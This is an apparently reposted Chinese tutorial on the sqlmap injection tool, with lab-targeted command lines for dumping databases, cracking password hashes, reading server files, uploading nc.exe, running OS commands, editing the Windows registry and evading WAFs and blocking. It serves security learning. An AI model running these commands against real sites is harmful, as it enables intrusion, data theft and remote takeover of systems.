公粽号:黒掌
一个专注于分享渗透测试、黑客圈热点、黑客工具技术区博主!
一.SQLMap
1.SQLMap基本介绍
1.1)分析URL
- 判断可注入的参数
- 判断目标需要用哪种SQL注入
- 识别出目标数据库
- 根据命令,读取数据
1.2)注入方式
- 布尔盲注:基于SQL语句的比较判断的注入
- 时间盲注:基于返回结果是否延迟来判断是否存在注入
- 基于报错注入:通过报错来注入
- 联合查询注入:先 order by 查看字段数,再union注入。
- 堆查询注入:多条语句同时注入
注意:
1.可以设定HTTP(S)请求的并发数,来提高盲注时的效率。
2.测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。
1.5)支持的数据库
- MySQL、Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
1.6)可执行内容
- URL地址
- Burp或WebScarab请求日志文件,
- 文本文档中的完整http请求或者Google的搜索,匹配出结果页面
- 自己定义一个正则来判断那个地址去测试。
1.7)下载地址:
- https://github.com/sqlmapproject/sqlmap.git
2.SQLMAP命令——指定目标
这些参数都用于SQLMAP指定目标。
- -v :查看SQL判断和读取数据的方式。共有7个等级。
- 0、只显示python错误以及严重的信息。
- 1、同时显示基本信息和警告信息。(默认)
- 2、同时显示debug信息。
- 3、同时显示注入的payload。
- 4、同时显示HTTP请求。
- 5、同时显示HTTP响应头。
- 6、同时显示HTTP响应页面。
python sqlmap.py -u 网址 -v 3
注意:如果你想看到sqlmap发送的测试payload最好的等级就是3。
2.-u :指定目标网址
python sqlmap.py -u 网址
3.-l :从Burp或者WebScarab代理中获取日志.
python sqlmap.py -l ./1.txt
注意:需要将burp监听到的数据包,右键保存文件就可让sqlmap使用。
4.-m :指定多个目标网址。需要多个URL以一行一个的格式保存在文本文件中。
比如有url.txt文件,内容如下:
- http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1
- http://inject2.lab.aqlab.cn:81/Pass-02/index.php?id=1
- http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1
python sqlmap.py -m ./url.txt
5.-r :从文件中加载HTTP请求。可跳过设置一些其他参数(比如cookie,POST数据,等等)。
比如有 http.txt文件,内容如下:
- GET /Pass-01/index.php?id=1 HTTP/1.1
- Host: inject2.lab.aqlab.cn:81
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
注意:当请求是HTTPS的时候你需要配合这个—force-ssl参数来使用,或者你可以在Host头后面加上:443
python sqlmap.py -r ./http.txt
6.-g :处理Google的搜索结果(只获取前100个结果)
python sqlmap.py -g "inurl:\".php?id=1\""
7.-c:从配置文件中载入攻击目标。SQLMap目录中有一个名为sqlmap.conf的文件,改文件是配置模板。
python sqlmap.py -g "inurl:\".php?id=1\"" -c sqlmap.conf
3.SQLMap命令——HTTP请求
这些参数都用于指定HTTP请求细节。
1.–method:一般来说,Sqlmap能自动判断出是使用GET方法还是POST方法,但在某些情况下需要的可能是PUT等很少见的方法。
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-03/index.php?id=1 -method=PUT
2.—data :把数据以POST方式提交。
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --data="username=admin&password=123456"
3.—param-del :指定分隔符。
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-05/index.php --data="username=admin;password=123456" --param-del=";"
4.–cookie、–cookie-del、–drop-set-cookie和–load-cookies:cookie请求
- 要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
- 想要检测是否存在cookie注入
注意:当“–level”设置为2或更高时,Sqlmap会检测cookie是否存在注入漏洞
4.1)-–cookie和-–cookie-del
python sqlmap.py -u https://hack.zkaq.cn/ --cookie "token=0ecc2&PHPSESSID=s3o" --cookie-del="&"
注意:
cookie默认的分隔符为“;”,通过cookie-del来指定分隔符。
cookie值可在浏览器F12中,找到application,里面有cookie值。
4.2)—drop-set-cookie :忽略HTTP响应头中的“Set-Cookie”设置
python sqlmap.py -u https://hack.zkaq.cn/ --drop-set-cookie
4.3)—load-cookies:从文件中载入Netscape或wget格式的cookie。
python sqlmap.py -u https://hack.zkaq.cn/ --load-cookies cookies.txt
5.—user-agent、 —random-agent:设置head头中的用户代理
python sqlmap.py -u https://hack.zkaq.cn/ --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0"``python sqlmap.py -u https://hack.zkaq.cn/ --random-agent
注意:当“–level”设置为3或更高时,Sqlmap会检测User-Agent是否存在注入漏洞
6.—host 手动指定HTTP头中的Host值。
python sqlmap.py -u https://hack.zkaq.cn/ --host="inject2.lab.aqlab.cn:81"
注意:当“–level”设置为5或更高时,Sqlmap会检测Host是否存在注入漏洞
7.—referer :指定HTTP头中的Referer值。Sqlmap发送的HTTP请求头部默认无Referer字段。
python sqlmap.py -u https://hack.zkaq.cn/ --referer="www.baidu.com"
8.–-headers :在Sqlmap发送的HTTP请求报文头部添加字段,若添加多个字段,用“\n”分隔。
python sqlmap.py -u https://hack.zkaq.cn/ --headers "X-A:A\nX-B: B"
发送的数据包为:
- GET /Pass-01/index.php?id=1 HTTP/1.1
- X-B: B
- X-A: A
- Host: inject2.lab.aqlab.cn:81
9.-–auth-type、-–auth-cred :身份认证
- –auth-type用于指定认证方式,支持以下三种身份认证方式:Basic(基本身份验证)、Digest(摘要式身份认证)、NTLM(NTLM身份验证(windows))
- -–auth-cred用于给出身份认证的凭证,格式是“username:password”。
python sqlmap.py -u https://hack.zkaq.cn/ --auth-type Basic --auth-cred "admin:123456"
10.–-auth-file :基于证书的身份认证 (不常用)
python sqlmap.py -u https://hack.zkaq.cn/ --auth-file=="ca.PEM"
**注意:需要含有私钥的PEM格式证书文件或PEM格式的证书链文件
11.-–ignore-401 :使用该参数忽略401错误(未认证)。
python sqlmap.py -u https://hack.zkaq.cn/ --ignore-401
12.–proxy、–proxy-cred、–proxy-file和–ignore-proxy :HTTP(S)代理
- —proxy=”http(s)😕/url:port” :设置一个HTTP(S)代理
- -–proxy-cred=”username:password”:提供认证凭证
- –-proxy-file :指定一个存储着代理列表的文件,Sqlmap会依次使用文件中的代理。
- -–ignore-proxy :忽略本地代理设置。若在操作系统设置了代理,后续的一切工作都经过代理)
python sqlmap.py -u https://hack.zkaq.cn/ --proxy="http://127.0.0.1:8087" --proxy-cred="yuweijie:123456" -–proxy-file proxy.txt --gnore-proxy
13.–tor、–tor-type、–tor-port和–check-tor :Tor匿名网络。
14.—delay :每次http(s)请求之间延迟时间,浮点数,单位为妙,默认无延迟
python sqlmap.py -u https://hack.zkaq.cn/ --delay 3"
注意:过于频繁地发送请求可能会被网站察觉或有其他不良后果,使用此参数要好些。
15.—timeout:设置请求超时时间
python sqlmap.py -u https://hack.zkaq.cn/ --timeout 30
16.—retries :超时后最大重试次数。默认3次。
python sqlmap.py -u https://hack.zkaq.cn/ --retries 5
17.–-randomize :随机化参数值
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --randomize="id"
18.—scope :正则表达式过滤代理日志。使用brup抓取的日志文件但 日志文件比较大,你只想检测日志中的一个站点或者某一个特征是否存在sql注入
python sqlmap.py -l burp.txt --scope="(www)?\.baidu\.(com|net|org)"``python sqlmap.py -l burp.txt --scope="(19)?\.168\.20\.(1|10|100)"
19.–-safe-url、–-safe-post、–-safe-req和–-safe-freq :避免错误请求过多而被屏蔽
- –-safe-url: 隔一会就访问一下的安全URL
- -–safe-post: 访问安全URL时携带的POST数据
- –-safe-req: 从文件中载入安全HTTP请求
- –-safe-freq: 每次测试请求之后都会访问一下的安全URL
注意:有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而Sqlmap的测试往往会产生大量错误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。所谓的安全URL是指访问会返回200、没有任何报错的URL。相应地,Sqlmap也不会对安全URL进行任何注入测试。
20.–-skip-urlencode :关闭URL编码,默认get方法会对传输内容进行编码,某些web服务器不遵循RFC标准编码,使用原始字符提交数据
python sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --skip-urlencode
21.-–csrf-token和–-csrf-url :绕过CSRF保护
- –-csrf-token用于指定包含token的隐藏字段名,若这个字段名不是常见的防止CSRF攻击的字段名Sqlmap可能不能自动识别出,需要手动指定。如Django中该字段名为“csrfmiddlewaretoken”,明显与CSRF攻击有关。
- –-csrf-url用于从任意的URL中回收token值。若最初有漏洞的目标URL中没有包含token值而又要求在其他地址提取token值时该参数就很有用。
注意:现在有很多网站通过在表单中添加值为随机生成的token的隐藏字段来防止CSRF攻击,Sqlmap会自动识别出这种保护方式并绕过。但自动识别有可能失效。
22.–-force-ssl :强制使用SSL
23.—eval :每次请求前执行指定的python代码。有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
python sqlmap.py -u "https://hack.zkaq.cn/login.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
四.SQLMap命令——优化
这些参数可以优化Sqlmap的性能。
1.—keep-alive :让Sqlmap使用HTTP长连接。该参数与“–proxy”矛盾。
`python sqlmap.py -u “http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1“ —keep-alive
注意:当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 报错的时候,使用这个参数
2.—null-connection:空连接 。从没有实际的HTTP响应体中获取页面长度,常用在盲注中。该参数与“–text-only”矛盾。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --null-connection
3.—thread :设置多线程。默认为3。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --thread 5
注意:从性能和网站承受能力两方面考虑最大并发数不要超过10。
五.SQLMap命令——注入
这些参数被用于指定要测试的参数、定制攻击荷载和选择篡改脚本。
1.-p:设置要测试的参数列表。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -p "id,user-agent"
注意:默认情况下Sqlmap会测试所有GET参数和POST参数,-p则可以用来指定哪些参数要测试。
2.—skip :设置不要测试的参数列表
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --level=5 --skip="user-agent,referer"
注意:有时候伪静态网站底层会这么写 /user/1/,此时SQLMap不会对这样的网站做的参数做测试,这时需要加上“*”即可。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index/1*/"
3.—dbms : 指定数据库管理系统
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --dbms="MySQL"
注意:只有在很确定时使用“–dbms”,否则还是让Sqlmap自动检测更好些。
4.—os :指定运行数据库管理系统的操作系统。Windows/Linux
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --os="Windows"
5.—invalid-bignum:会取最大数作为无效参数。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --invalid-bignum
6.—invalid-logical:用逻辑操作符作为无效参数
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --invalid-logical
7.—invalid-string:用字符串作为无效参数
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --invalid-string
8.—no-cast : 关闭payload转换
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --no-cast
注意:SQLMap检索结果时默认将所有输入为字符串类型,空值为空白字符。有时候会因此出现问题,这是添加该参数即可。
9.—no-escape:关闭字符串编码
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --no-escape
注意:有时候为了缩减payload长度,用户可以使用“–no-escape”来关闭字符串编码。
10.–-prefix :设置前缀。 -–suffix:设置后缀。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc")
注意:有时候需要设置前缀或者后缀才能注入成功,在简单的测试环境下Sqlmap不需要被提供定制的边界范围就能够自动检测并完成注入,但在真实世界中某些应用可能会很复杂如嵌套JOIN查询,此时就需要为Sqlmap指明边界范围
11.–-tamper 修改注入数据
六.SQLMap命令——检测
这些参数被用于设定SQLMap需要检测的内容。
1.—level:设置需要执行的测试等级。最小是1,最大是5.
- 1 :默认等级,对GET、POST参数进行全部测试
- 2 :会测试cookie
- 3 :会测试user-agent
- 4 :会测试referer
- 5 :会自动破解出cookie、XFF等头部注入
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --level=3
2.—risk :指定风险等级。最小是1,最大是3
- 1 : 默认等级,在大多数情况下对测试目标无害。
- 2 : 会增加基于事件的测试语句
- 3 : 会增加OR语句的SQL注入测试。若注入点是在UPDATE语句中,使用OR测试可能会修改整个表的数据。(危险!)
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --risk=2
3.–-string :设定目标字符串让SQLMap以为真页面。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --string="woaini"
4.—not-string : 设定目标字符串让SQLMap以为假页面。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --not-string="woaini"
5.—code : 根据code代码判断页面是否为真。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --code=200
6.–-titles:根据页面的title内容判断页面是否为真
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --titles="Welcome"
7.–-text-only :让Sqlmap只专注于纯文本内容
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --text-only
七.SQLMap命令——注入技术
这些参数用于对特定的SQL注入技术进行调整。
1.—technique:指定检测注入时所用技术,默认情况下Sqlmap会使用自己支持的全部技术进行检测。
- B:Boolean-based blind(布尔型注入)
- E:Error-based(报错型注入)
- U:Union query-based(可联合查询注入)
- S:Stacked queries(可多语句查询注入)
- T:Time-based blind(基于时间延迟注入)
- Q:Inline queries(嵌套查询注入)
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --technique US
注意:想要访问文件系统或是Windows的注册表就一定要添加“S”进行多语句查询注入测试。
2.—time-sec :设置基于时间延迟注入中延时时长,默认5秒
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --time-sec=3
3.–-union-cols :在进行联合查询注入时,指定列数检测范围
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --technique U -–union-cols 12-16
4.—union-char :在进行联合查询注入时,设定注入字符
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --technique U --union-char 123
5.—union-from:在联合查询中,指定一个有效和可访问的表名。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --technique U --union-from=users
6.-dns-domain : DNS泄露攻击 .
7.—second-order:二阶注入攻击。有时注入结果显示在别的页面,此时需要用此参数指明显示注入结果的页面。后面接url。
八.指纹
1.—fingerprint/-f:扩大Sqlmap对注入目标进行数据库管理系统指纹识别
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --fingerprint
2.—banner / -b:精确Sqlmap对注入目标进行数据库管理系统指纹识别
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --banner
九.暴力破解
1.—common-tables:暴力破解表名。因为有些情况无法用—tables来查看表名。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --common-tables -D users --banner
注意:该参数使用的字典是txt/common-tables.txt,其中存储了常见表名,可以手动编辑该文件。
2.—common-columns:暴力破解列名
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --common-tables --common-columns -D users --banner
注意:该参数使用的字典是txt/common-columns.txt,其中存储了常见列名,可以手动编辑该文件。
十.列举数据
这些参数用于列举出数据库管理系统信息、数据结构和数据内容。
1.–-all : 一键列举全部数据
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -D admin -T user -C id --all
使用这一个参数就能列举所有可访问的数据。但不推荐使用,因为这会发送大量请求,把有用和无用的信息都列举出来。
2.–-current-user: 列举当前用户
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --dmbs="MySQL" --curent-user
注意:使用这一参数有可能将执行SQL语句的用户列举出来。
3.–-current-db:列举当前数据库
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --current-db
注意:使用这一参数有可能将WEB应用连接的数据库名列举出来。
4.—hostname :列举服务器主机名
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --hostname
注意:使用这一参数有可能将数据库管理系统所在计算机的主机名列举出来
5.—is-dba :检测当前用户是否是管理员
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --is-dba
注意:使用这一参数有可能能够检测当前用户是否是管理员,若是管理员则返回True,否则返回False。
6.-–users: 列举数据库管理系统中的用户
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --users
注意:当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中的用户。
9.—passwords:列举并破解数据库管理系统用户密码Hash值
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --passwords -U CU
当前用户有读取包含了数据库管理系统中用户密码Hash值的系统表的权限时使用这一参数可以列举数据库管理系统中用户密码Hash值。Sqlmap不仅会列举出密码Hash,还会解析密码Hash格式,并询问用户是否要通过密码字典的方式破解Hash值寻找出明文密码。若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户
10.—privileges:列举数据库管理系统的用户权限
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --privileges -U CU
注意:当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。
- -–roles :列举数据库管理系统的用户角色
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --roles -U CU
注意:当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。
12.–-dbs :列举数据库管理系统中的所有数据库
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --dbs
13.–-tables、–exclude-sysdbs和-D :列举数据库数据库的所有表
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -D dababase() --tables
注意:使用参数“–exclude-sysdbs”可排除系统数据库。在Oracle中要指定TABLESPACE_NAME而不是数据库名。
14.–-columns、-C、-T和-D: 列举数据表的所有列
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -D dababase_name -T table_name --columns
15.—schema:列举数据库管理系统的模式
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --schema –-exclude-sysdbs
注意:参数“–exclude-sysdbs”排除系统数据库。
16.–-count : 列举表中数据条数
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" --count -D dababase_name
17.–dump、-C、-T、-D、–-start、–-stop和–-where :列举表中数据
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -D dababase_name -T table_name -C column_name --dump --start 1 --stop 3 --where id>3
注意:Start和Stop相当于区间,where是添加条件
18.–-dump-all和–-exclude-sysdbs :.列举所有数据库所有表中所有数据
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -D dababase_name --dump-all --exclude-sysdbs
19.–-search、-C、-T和-D :可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1" -D dababase_name --search -T user,password
20.–-sql-query和–-sql-shell :运行自定义的SQL语句
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --sql-query "SELECT 'foo'" -v 1"
十一.UDF注入
1.–-udf-inject :UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术,
2.–-shared-lib :添加此参数Sqlmap会在运行时询问共享库文件路径。
十二.访问文件系统
1.–-file-read:读取文件
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --file-read "C:/1.php" -v 1"
注意:当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有读取文件相关权限时读取文件是可行的。
2.–-file-write和–-file-dest :上传文件
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1"
当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有写文件相关权限时上传文件是可行的。
十三.操作系统控制
1.–-os-cmd和–-os-shell :执行任意操作系统命令
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --os-cmd id -v 1"
2.–os-pwn、–os-smbrelay、–os-bof、–priv-esc、–msf-path和–tmp-path:带外TCP连接:Meterpreter及相关
十四.Windows注册表操作
满足以下条件就可以对Windows注册表进行操作:①目标数据库管理系统是运行在Windows上的。②目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server。③支持堆查询。④.目标数据库管理系统当前用户有足够的权限
1.–-reg-read :读Windows注册表键值
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 –-reg-read
2.-–reg-add :写Windows注册表键值
3.-–reg-del : 删除Windows注册表键值
4.–-reg-key、–-reg-value、-–reg-data和-–reg-type:辅助
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE \sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
十五.通用选项
1.-s : 从SQLite文件中载入Sqlmap会话
注意:Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参数。
2.-t :将HTTP(S)流量记录到日志文件中
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 -t adads/1.txt
3.–-batch :非交互模式
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --dump --batah
4.–-charset : 设置字符编码
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --dump –-charset=GBK
5.—–crawl :从目标URL开始爬取目标站点。设置深度。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --batch --crawl=3
注意:–-crawl-exclude在此参数后跟一个正则表达式可以排除不想爬取的URL。若URL匹配正则,则不被爬取。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --batch --crawl=3 –-crawl-exclude=logout
6.–-csv-del :设置输出CSV文件中的分隔符
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 -–csv-del=";"
7.–-dbms-cred :数据库管理系统认证凭据
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --dbms-cred=admin:password
8.-–dump-format:数据输出格式。有CSV、HTML、SQLLITE
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 -–dump-format=csv --csv-del=";"
9.-–eta : 显示估计的完成时间
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --eta
10.–-flush-session :刷新会话文件,避免Sqlmap默认的缓存机制可能造成的一些问题。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --flush-session
11.-–forms : 解析和测试表单输入字段
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --forms
12.—fresh-queries:忽略会话文件中的查询结果
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --fresh-queries
13.–-hex:对返回结果使用HEX函数
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --fresh-queries --hex
14.—output-dir :指定输出目录路径
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --forms --output-dir=/a/b
15.–-parse-errors : 从响应中解析DBMS的错误信息
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --parse-errors
16.–-pivot-column : 指定中轴列
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --pivot-column=id
注意:有时(如在微软SQL Server、Sybase和SAP MaxDB中)由于缺乏类似机制不可以直接使用偏移m,n的方式列举数据表记录。在这种情况下,Sqlmap通过确定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其他列值。如果自动选择失败就需要使用该参数手动指定中轴列,
17.–-save :保存选项到配置文件中
18.-–update :升级Sqlmap
十六.杂项
1.-z 使用简写
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --batch --random-agent --ignore-proxy --technique=BEU
简写===>
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 -z "bat,randoma,ign,tec=BEU"
2.–-alert 在成功检测到注入点时报警
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --alert "notify-send '找到漏洞了'"
3.-–answers : 设置问题的回答
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --answers="extending=N"
4.-–beep: 在成功检测到注入点时发出“嘟”声
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --beep
5.–-cleanup : 清除Sqlmap创建的临时表和自定义函数
python sqlmap.py --cleanup
6.-–dependencies :检查依赖
python sqlmap.py --dependencies
7.-–disable-coloring: 关闭彩色输出
python sqlmap.py -–disable-coloring
8.–gpage : 指定使用Google dork结果的某页
9.–hpp: 使用HTTP参数污染。如果怀疑目标受WAF/IPS/IDS保护,可以尝试用此参数进行绕过。
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 -hpp
10.-–identify-waf : 彻底检测WAF/IPS/IDS
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 -–identify-waf
注意:Sqlmap可以识别WAF/IPS/IDS以便用户进行针对性操作
11.-–mobile : 模仿智能手机
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --mobile
12.-–offline : 离线模式(仅仅使用会话数据)
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --offline
注意:添加此参数,Sqlmap将仅仅使用以前存储的会话数据做测试而不向目标发送任何数据包。
13.-–page-rank: 在Google dork中展示页面权重
14.-–purge-output: 从输出目录中安全移除所有内容
python sqlmap.py --purge-output -v 3
15.-–smart : 快速扫描
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --smart
16.–-test-filter , –test-skip : 通过关键词使用或跳过payload
python sqlmap.py -u "http://inject2.lab.aqlab.cn:81/Pass-01/index.php?id=1 --test-filter=ROW –test-skip=BENCHMARK
17.–-sqlmap-shell : 交互式Sqlmap Shell
python sqlmap.py --sqlmap-shell
18.-–wizard : 为初学者准备的简单向导
python sqlmap.py --wizard
结束
花了3天的时间去学习,一共就这么多啦,有些还是挺好用的,有些我也测试不了,因为···看不懂(泪目)
参考文献
1.Sqlmap中文手册:https://blog.csdn.net/wn314/article/details/78872828
2.sqlmap命令基础:http://love.ranshy.com/sqlmap%E5%91%BD%E4%BB%A4%E5%9F%BA%E7%A1%80/
3.sqlmap 详解:https://blog.csdn.net/freeking101/article/details/72472141
4.Sqlmap的使用详解:https://www.cnblogs.com/csnd/p/11807583.html
5.SQLMap用户手册【超详细】:https://www.cnblogs.com/hongfei/p/3872156.html
来源:我们社区正式学院:yuweijie